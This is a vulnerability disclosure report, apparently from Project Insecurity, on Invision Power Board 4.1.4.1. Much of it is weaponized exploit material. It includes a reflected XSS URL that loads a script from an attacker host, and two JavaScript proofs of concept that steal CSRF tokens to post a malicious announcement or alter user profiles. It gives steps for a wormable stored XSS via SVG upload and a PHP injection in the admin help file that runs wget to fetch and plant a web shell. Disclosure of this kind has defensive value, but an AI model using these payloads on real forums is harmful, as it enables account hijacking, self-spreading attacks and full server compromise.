Sei sulla pagina 1di 13

 

 
Project Insecurity - insecurity.sh 

Invision Power Board - Vulnerability Report 


 
 

 
 

1.0 - Abstract  
There are multiple instances of stored/persistent cross-site-scripting vulnerabilities 
affecting Invision Power Board forum CMS (version v4.1.4.1 - current build at time of 
publication), in addition to this, there are methods of gaining Remote Command Execution 
(which can be paired with the XSS) to compromise the remote server. There are also file 
enumeration vulnerabilities that allow a calculated attacker to enumerate a list of files 
which exist or don’t exist on the server. This report will be detailing some of our findings.  
 
At some point in the close future, you can expect us to return to IPB for round #2, as we 
were not fully satisfied with our findings in this initial report (despite having multiple 
exploitable vulnerabilities, we feel that there is more to be uncovered within IPB). 

2.​0 -​ Cross Site Scripting  


2​.1 -​ ​Pre-Authenticated Reflective/Stored XSS: 
 
IPB’s UTF-8 converter (IPS UTF8 Converter v1.1.18) is vulnerable to a pre-auth reflective 
XSS as it does not properly sanitize the `controller` parameter, which is reflected in the 
response.Therefore, an attacker may craft a payload to close the current expression 
and insert malicious javascript and HTML. 
Vulnerable endpoint: 
 

http://<target>/admin/convertutf8/index.php?​controller=​%27};alert(document.domai
n);{%27 

If a moderator or admin visits this URL, the script steals the CSRF tokens from the 
mod/admin, builds the CSRF form with the payload, and creates a malicious 
announcement with the attackers specified XSS payload. When anyone reads this 
announcement, the XSS will fire! 
 

http://<target>/admin/convertutf8/index.php?​controller=​'};</script><script 
src=//<attacker>​/xss.js​></script>;{' 

Proof-of-Concept Code (​xss.js​) - Turning reflective into stored: 


 

// specifies the target, the title of the announcement, and the xss payload! 
var target = 'http://<target>/index.php?/modcp/announcements/&action=create'; 
var title = 'URGENT'; 
 

 

 

// Don't use quotes! It'll break our form down below! 


var payload = '<script src=//<ATTACKER>/lol.js></script>'; 
 
// steals the csrf token ;) 
var cdl = get(target); 
document.body.innerHTML = cdl; 
var form = document.getElementsByTagName('input')[3]; 
var token = form.value; 
 
// DON'T EDIT!! 
// Gets the current date! Thanks stackoverflow 
var today = new Date(); 
var dd = today.getDate(); 
var mm = today.getMonth()+1; //January is 0! 
var yyyy = today.getFullYear(); 
if(dd<10){ 
dd='0'+dd; 

if(mm<10){ 
mm='0'+mm; 

var today = mm+'/'+dd+'/'+yyyy; 
 
// build form with valid token and evil credentials 
document.body.innerHTML 
+= '<form id="sxcurity" action="' + target + '" method="POST">' 
+ '<input type="hidden" name="_submitted" value="1">' 
+ '<input type="hidden" name="csrfKey" value="' + token + '">' 
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">' 
+ '<input type="hidden" name="plupload" value="sxcurity">' 
+ '<input type="hidden" name="announce_title" value="' + title + '">' 
+ '<input type="hidden" name="announce_start" value="' + today +'">' 
+ '<input type="hidden" name="announce_end_unlimited" value="0">' 
+ '<input type="hidden" name="announce_content" value="'+ payload +'">' 
+ '<input type="hidden" name="announce_content_upload" value="sxcurity">' 
+ '<input type="hidden" name="announce_app_unlimited" value="*">' 
+ '<input type="hidden" name="announce_calendars">' 
+ '<input type="hidden" name="announce_calendars-zeroVal" value="on">' 

 

 

+ '<input type="hidden" name="announce_download_categories">' 


+ '<input type="hidden" name="announce_download_categories-zeroVal" 
value="on">' 
+ '<input type="hidden" name="announce_forums">' 
+ '<input type="hidden" name="announce_forums-zeroVal" value="on">' 
+ '</form>'; 
 
// submits our csrf form! 
document.forms["sxcurity"].submit(); 
 
function get(url) { 
var xmlHttp = new XMLHttpRequest(); 
xmlHttp.open("GET", url, false); 
xmlHttp.send(null); 
return xmlHttp.responseText; 

The XSS can also be abused to attack users. When a logged in user visits this page, it 
will steal the user's CSRF token, enable status updates and then change their 
"About Me" to "sxcurity is my hero": 
 

http://<target>/admin/convertutf8/index.php?​controller=​'};</script><script 
src=//<attacker>​/lol.js​></script>;{' 

Proof-of-Concept Code (​lol.js​): 


 

var target = 'http://localhost/ips_4141/index.php'; 


var payload = 'sxcurity is my hero'; 
 
// Gets the Profile URL of the victim. 
var cdl = get(target); 
document.body.innerHTML = cdl; 
var user_url = document.getElementsByTagName('a')[13]; 
var user_url1 = document.getElementsByTagName('a')[14]; 
var user_url2 = document.getElementsByTagName('a')[15]; 

 

 

var user_url3 = document.getElementsByTagName('a')[16]; 


var user_url4 = document.getElementsByTagName('a')[17]; 
var user_url5 = document.getElementsByTagName('a')[18]; 
var user_url6 = document.getElementsByTagName('a')[19]; 
var user_url7 = document.getElementsByTagName('a')[20]; 
var yay = user_url.href; 
var yay1 = user_url1.href; 
var yay2 = user_url2.href; 
var yay3 = user_url3.href; 
var yay4 = user_url4.href; 
var yay5 = user_url5.href; 
var yay6 = user_url6.href; 
var yay7 = user_url7.href; 
var mod_check0 = document.getElementsByTagName('a')[22]; 
var mod_check1 = document.getElementsByTagName('a')[22]; 
var mod_check2 = document.getElementsByTagName('a')[23]; 
var mod_check3 = document.getElementsByTagName('a')[24]; 
var mod_check4 = document.getElementsByTagName('a')[25]; 
var mod_check5 = document.getElementsByTagName('a')[26]; 
var mod_check6 = document.getElementsByTagName('a')[27]; 
var check0 = mod_check1.href; 
var check1 = mod_check1.href; 
var check2 = mod_check2.href; 
var check3 = mod_check3.href; 
var check4 = mod_check4.href; 
var check5 = mod_check5.href; 
var check6 = mod_check5.href; 
 
 
/* 
Mods / admins have a different amount of links before their profile URL, so this 
makes sure 
we grab the right profile URL and not some random one! 
*/ 
if (yay.includes("profile")){ 
//user = normal user acc. 
var profile = yay; 
} else if (yay1.includes("profile")){ 

 

 

//user = normal user acc. 


var profile = yay1; 
} else if (yay2.includes("profile")){ 
//user = normal user acc. 
var profile = yay2; 
} else if (yay3.includes("profile")){ 
//user = normal user acc. 
var profile = yay3; 
} else if (yay4.includes("profile")){ 
//user = normal user acc. 
var profile = yay4; 
} else if (yay5.includes("profile")){ 
//user = normal user acc. 
var profile = yay5; 
} else if (yay6.includes("profile")){ 
//user = normal user acc. 
var profile = yay6; 
} else if (yay7.includes("profile")){ 
//user = normal user acc. 
var profile = yay7; 
} else if (check0.includes("profile")){ 
//user = mod or admin 
var profile = check0; 
} else if (check2.includes("profile")){ 
//user = mod or admin 
var profile = check2; 
} else if (check3.includes("profile")){ 
//user = mod or admin 
var profile = check3; 
} else if (check4.includes("profile")){ 
//user = mod or admin 
var profile = check4; 
} else if (check5.includes("profile")){ 
//user = mod or admin 
var profile = check5; 
} else if (check6.includes("profile")){ 
//user = mod or admin 
var profile = check6; 

 

 


var final = profile + 'edit/'; 
 
// steals the csrf token 
 
var csrf = get(final); 
document.body.innerHTML = csrf; 
var inp = document.getElementsByTagName('input')[3]; 
var token = inp.value; 
 
// build form with valid token and evil credentials 
document.body.innerHTML 
+= '<form id="woot" action=' + final + ' method="POST">' 
+ '<input type="hidden" name="form_submitted" value="1">' 
+ '<input type="hidden" name="csrfKey" value="' + token + '">' 
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">' 
+ '<input type="hidden" name="plupload" value="sxcurity">' 
+ '<input type="hidden" name="bday[month]" value="0">' 
+ '<input type="hidden" name="bday[day]" value="0">' 
+ '<input type="hidden" name="bday[year]" value="0">' 
+ '<input type="hidden" name="enable_status_updates" value="0">' 
+ '<input type="hidden" name="enable_status_updates_checkbox" value="1">' 
+ '<input type="hidden" name="core_pfield_1" value="' + payload + '">' 
+ '<input type="hidden" name="core_pfield_1_upload" value="sxcurity">' 
+ '</form>'; 
 
// submits our csrf form! 
document.forms["woot"].submit(); 
 
function get(url) { 
var xmlHttp = new XMLHttpRequest(); 
xmlHttp.open("GET", url, false); 
xmlHttp.send(null); 
return xmlHttp.responseText; 

 
 

 

 

2​.2 -​ ​Stored XSS + Information Disclosure via .svg file upload: 


 
In addition to the XSS vulnerabilities detailed above, there is a stored XSS through means of 
uploading an .svg file via a user account. This also leads to Information Disclosure (it results 
in Full Path Disclosure which can help aid an attacker in terms of exploiting other existing 
vulnerabilities). In this case, the Information Disclosure is used to get the path to where the 
uploaded SVG file is stored, allowing the attacker to get the working URL for the XSS: 
 
● Visit your profile and click edit profile 
● Enable Status Updates 
● Reload the page & select the status update input 
● Click "add an attachment" and select your SVG file 
● Once uploaded, reload the page (BEFORE you submit status update) 
● Once page is reloaded, select the status page input box again. You will see 
your attachment already there 
● Use inspect element or view the page source to find the path to where your 
attachment has been uploaded 
● CTRL + F ".svg" and take advantage of the full path disclosure to get the 
upload location 
 
When your SVG file is uploaded, it generates a random hash to add to the URL name (as 
well as attempting to hide the upload path). 
In addition to status updates, this can also be achieved in threads (resulting in total chaos 
for the admin of the vuln site). The fact this can be used in threads makes it wormable. A 
regular user account can be used to target anyone who views any thread posted by that 
user (or any thread posted by ANY user if a specific worm-based payload was crafted) 
 
Your malicious SVG file would look something like this (of course this is not a weaponized 
payload): 
​<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie);"/> 
 
If you refreshed and did inspect element at the right time, you should see something like 
this in the source: 
 

data-ipsuploader-existingfiles="{&quot;102&quot;:{&quot;configuration&quot;:{&quot
;dir&quot;:&quot;\/home\/services\/Services\/ipbcommunity\/uploads&quot; 
,&quot;url&quot;:&quot;uploads&quot;} 
,&quot;configurationId&quot;:1,&quot;storageExtension&quot;:&quot;core_Attachme
nt&quot; 
,&quot;originalFilename&quot;:&quot;xss.svg&quot;,&quot;filename&quot; 
:&quot;xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg&quot; 
,&quot;container&quot;:&quot;monthly_2017_05&quot;,&quot;url&quot; 

 

 

:{&quot;data&quot;:{&quot;scheme&quot;:&quot;https&quot;,&quot;host&quot; 
:&quot;vuln.site.com&quot;,&quot;path&quot;:&quot;\/uploads\/monthly_2017_05\/x
ss.svg.d9b51a7a276cfbc0625876e30bce299a.svg&quot; 
},&quot;queryString&quot;:[],&quot;isInternal&quot;:true,&quot;isFriendly&quot;:true
},&quot;tempId&quot;:null,&quot;attachmentThumbnailUrl&quot; 
:{&quot;data&quot;:{&quot;scheme&quot;:&quot;https&quot;,&quot;host&quot;:&qu
ot;vuln.site.com&quot;,&quot;path&quot;:&quot;\/uploads\/monthly_2017_05\/xss.sv
g.d9b51a7a276cfbc0625876e30bce299a.svg&quot;} 
,&quot;queryString&quot;:[],&quot;isInternal&quot;:true,&quot;isFriendly&quot;:true}
,&quot;thumbnailName&quot;:null,&quot;thumbnailContainer&quot;:null}}" 

From there, you can see the full path. We can also look at the URL in the source here to get 
the correct URL for where the XSS has been uploaded (there is a mechanism in place to 
attempt to prevent this from being possible by generating a unique string and adding it to 
the filename for the uploaded file, but by refreshing the page at the right time and viewing 
source we can see the full path for the upload including the unique string) here is an 
example: 

;:{&quot;scheme&quot;:&quot;https&quot;,&quot;host&quot;:&quot;community.vuln.
com&quot;,&quot;path&quot;:&quot;\/uploads\/monthly_2017_05\/xss.svg.d9b51a7a
276cfbc0625876e30bce299a.svg&quot;} 

Once decoded, this would translate to: 

https://community.vuln.com/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc062
5876e30bce299a.svg 

This can then either be used in a similar fashion to reflective XSS and linked to the victims, 
or it can be used within threads (via attachments) using the same method, which can allow 
someone from a regular user account to target the sites entire userbase (allowing for many 
possibilities, such as creating a worm, getting admin credentials, etc) 

3.​0 -​ Spawning a shell (RCE via admin panel): 

Once an account with administrative features has been compromised, it’s somewhat trivial 
to obtain shell access. The above XSS techniques can generally be used to hijack an admin 
account with ease. Once credentials or an admin session is obtained, the following steps 
can be utilized to a achieve shell access: 

 
 

 

● Navigate to admin panel 

● Go to "Look and Feel" 

● Manage languages 

● Choose language 

● Choose Section 

● Look for 'public_help' 

● Edit ‘help.txt’ 

● Choose topic from list 

After this, a box should pop up where you can make edits to help.txt, the following PHP 
code can then be added: 

${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv shell.txt shell.php'}} 


${${system($query,$out)}} 
${${print $out}} 

Ensure that the code has been added to the ​bottom​ of ‘help.txt’ in order for this to work, 
after this, load the helpfile module via the following URL in order to execute your code: 

http://vuln.com/index.php?app=core&module=help 

After this, the following URL can be visited in order to access your freshly spawned shell: 

http://vuln.com/cache/shell.php 
 

4.0 - Credits: 

Corben Leo: 

https://www.linkedin.com/in/corben-leo/ 

Matthew Telfer: 

https://www.linkedin.com/in/matthew-telfer-bb2325167/ 

 
10 
 

 
11 
 

 
 

 
12 
 

 
CREDITS 
 

 
13 

Potrebbero piacerti anche